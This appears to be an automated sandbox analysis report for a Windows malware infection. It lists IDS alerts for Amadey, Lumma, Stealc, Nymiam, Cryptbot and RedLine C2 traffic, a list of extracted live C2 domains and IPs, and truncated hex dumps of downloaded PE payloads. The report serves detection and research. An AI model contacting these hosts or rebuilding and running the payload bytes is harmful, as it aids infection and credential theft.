Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49723 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49725 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49727 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49713 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49729 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49730 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49732 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49734 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49738 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.9:49780 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.9:49763
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49790 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49802 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49810 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 1800002 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Key Request : 192.168.2.9:49814 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800003 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Download Request : 192.168.2.9:49814 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49814 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49825 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49830 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49827 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49836 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49839 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49842 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49824 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49849 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49844 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49853 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49851 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49856 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49858 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49863 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49867 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49866 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 1800002 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Key Request : 192.168.2.9:49871 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800003 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Download Request : 192.168.2.9:49871 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49866 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.9:49866
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49866 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49873 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.9:49866
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49875 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49877 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 1800002 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Key Request : 192.168.2.9:49879 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.9:49882 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 1800003 - Severity 1 - Joe Security MALWARE Nymiam - C&C DLL Download Request : 192.168.2.9:49879 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49883 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49879 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49887 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49890 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49893 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49894 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49909 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49908 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49910 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49920 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49921 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49925 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 1800005 - Severity 1 - Joe Security MALWARE Nymiam - C&C Software Download Request : 192.168.2.9:49928 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49939 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49933 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49937 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800005 - Severity 1 - Joe Security MALWARE Nymiam - C&C Software Download Request : 192.168.2.9:49938 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49944 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49946 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49956 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49958 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.9:49963 -> 147.45.44.224:1912
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.9:49963 -> 147.45.44.224:1912
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 147.45.44.224:1912 -> 192.168.2.9:49963
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49971 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49972 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49978 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 1800004 - Severity 1 - Joe Security MALWARE Nymiam - C&C Files Download Request : 192.168.2.9:49979 -> 185.156.73.23:80
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 147.45.44.224:1912 -> 192.168.2.9:49963
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49713 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49713 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.9:49720 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49715 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49712 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49712 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49721 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49721 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49824 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49824 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49831 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49831 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49797 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49797 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49843 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49843 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49811 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49858 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49729 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49882 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49889 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49847 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49874 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49907 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49907 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49830 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49830 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49800 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49800 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49982 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49914 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49914 -> 104.21.63.229:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 185.215.113.209 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https:/135.181.65.216/ee45b7c5e4cb75cb.php
Source: Malware configuration extractor	URLs: fannleadyn.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: 147.45.44.224:1912

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:05 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 11:09:59 GMTConnection: keep-aliveETag: "67615c07-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:10 GMTContent-Type: application/octet-streamContent-Length: 439808Last-Modified: Fri, 08 Nov 2024 07:05:53 GMTConnection: keep-aliveETag: "672db851-6b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 51 b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f4 04 00 00 00 02 00 00 00 00 00 d7 a1 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c4 45 00 00 bc e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e2 05 00 18 00 00 00 f8 e1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0a f3 04 00 00 10 00 00 00 f4 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 48 01 00 00 10 05 00 00 4a 01 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 42 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c4 45 00 00 00 e0 06 00 00 46 00 00 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:16:14 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 11:30:52 GMTConnection: keep-aliveETag: "676160ec-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 